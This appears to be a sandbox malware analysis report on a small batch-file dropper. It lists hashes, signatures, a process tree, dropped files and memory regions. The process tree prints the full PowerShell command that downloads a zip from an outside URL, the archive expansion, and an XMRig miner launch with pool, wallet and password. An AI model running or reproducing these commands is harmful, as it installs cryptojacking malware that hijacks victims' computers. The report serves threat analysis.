Analysis

  • max time kernel
    1795s
  • max time network
    1789s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/11/2023, 15:56

General

  • Target

    tesy - Copy (3).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2888
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3756
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4896
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4892
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:1344

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          2f57fde6b33e89a63cf0dfdd6e60a351

          SHA1

          445bf1b07223a04f8a159581a3d37d630273010f

          SHA256

          3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

          SHA512

          42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          f93c773a291f3216ee981ab29d9d9375

          SHA1

          9a0c7641a0d856cf46eb0c3ecd3c10d423f519e2

          SHA256

          f0892604d3ea6cacf64b1296fcd69598c6db8d8191e445937688c06aaa25e13b

          SHA512

          a407132a22af7e05faaaf1a5d84f4de6fc5909ac5422505f70126afda63d96f55d3f4aaaa9f4eb4b8ade02fed86cc25e802f5e1e8b4bd4dfe03ad16dc3a7d62e

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f5ueoqve.xoo.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\test1.zip

          Filesize

          3.2MB

          MD5

          95452958f42b1b93f0c887f59d84d19f

          SHA1

          c861dc457d57471ab42879f49cc8fe171e7c9b1c

          SHA256

          dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

          SHA512

          96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

          Filesize

          278B

          MD5

          080123b6eac4a332d3f2b11f6eb3aa54

          SHA1

          8f3d40eae881e3b871cff2aa85521d727ada2a64

          SHA256

          cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

          SHA512

          0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

          Filesize

          7.9MB

          MD5

          4813fa6d610e180b097eae0ce636d2aa

          SHA1

          1e9cd17ea32af1337dd9a664431c809dd8a64d76

          SHA256

          9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

          SHA512

          5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

        • memory/1344-72-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-76-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-114-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-113-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-112-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-111-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-110-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-109-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-108-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-107-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-46-0x000001E72C170000-0x000001E72C190000-memory.dmp

          Filesize

          128KB

        • memory/1344-47-0x000001E72C1B0000-0x000001E72C1D0000-memory.dmp

          Filesize

          128KB

        • memory/1344-48-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-49-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-50-0x000001E72C1D0000-0x000001E72C1F0000-memory.dmp

          Filesize

          128KB

        • memory/1344-51-0x000001E72DAA0000-0x000001E72DAC0000-memory.dmp

          Filesize

          128KB

        • memory/1344-52-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-53-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-54-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-55-0x000001E72C1D0000-0x000001E72C1F0000-memory.dmp

          Filesize

          128KB

        • memory/1344-56-0x000001E72DAA0000-0x000001E72DAC0000-memory.dmp

          Filesize

          128KB

        • memory/1344-57-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-58-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-59-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-60-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-61-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-62-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-63-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-64-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-65-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-66-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-67-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-68-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-69-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-70-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-71-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-106-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-73-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-74-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-75-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-105-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-77-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-78-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-79-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-80-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-81-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-82-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-83-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-84-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-85-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-86-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-87-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-88-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-89-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-90-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-91-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-92-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-93-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-94-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-95-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-96-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-97-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-98-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-99-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-100-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-101-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-102-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-103-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/1344-104-0x00007FF6BE520000-0x00007FF6BF023000-memory.dmp

          Filesize

          11.0MB

        • memory/3756-10-0x00007FFFA34F0000-0x00007FFFA3FB1000-memory.dmp

          Filesize

          10.8MB

        • memory/3756-9-0x000002B7F5BA0000-0x000002B7F5BC2000-memory.dmp

          Filesize

          136KB

        • memory/3756-16-0x00007FFFA34F0000-0x00007FFFA3FB1000-memory.dmp

          Filesize

          10.8MB

        • memory/3756-12-0x000002B7F38E0000-0x000002B7F38F0000-memory.dmp

          Filesize

          64KB

        • memory/3756-11-0x000002B7F38E0000-0x000002B7F38F0000-memory.dmp

          Filesize

          64KB

        • memory/4896-32-0x000001DC76580000-0x000001DC76592000-memory.dmp

          Filesize

          72KB

        • memory/4896-31-0x000001DC765C0000-0x000001DC765D0000-memory.dmp

          Filesize

          64KB

        • memory/4896-20-0x000001DC765C0000-0x000001DC765D0000-memory.dmp

          Filesize

          64KB

        • memory/4896-19-0x000001DC765C0000-0x000001DC765D0000-memory.dmp

          Filesize

          64KB

        • memory/4896-18-0x00007FFFA34F0000-0x00007FFFA3FB1000-memory.dmp

          Filesize

          10.8MB

        • memory/4896-33-0x000001DC76570000-0x000001DC7657A000-memory.dmp

          Filesize

          40KB

        • memory/4896-42-0x00007FFFA34F0000-0x00007FFFA3FB1000-memory.dmp

          Filesize

          10.8MB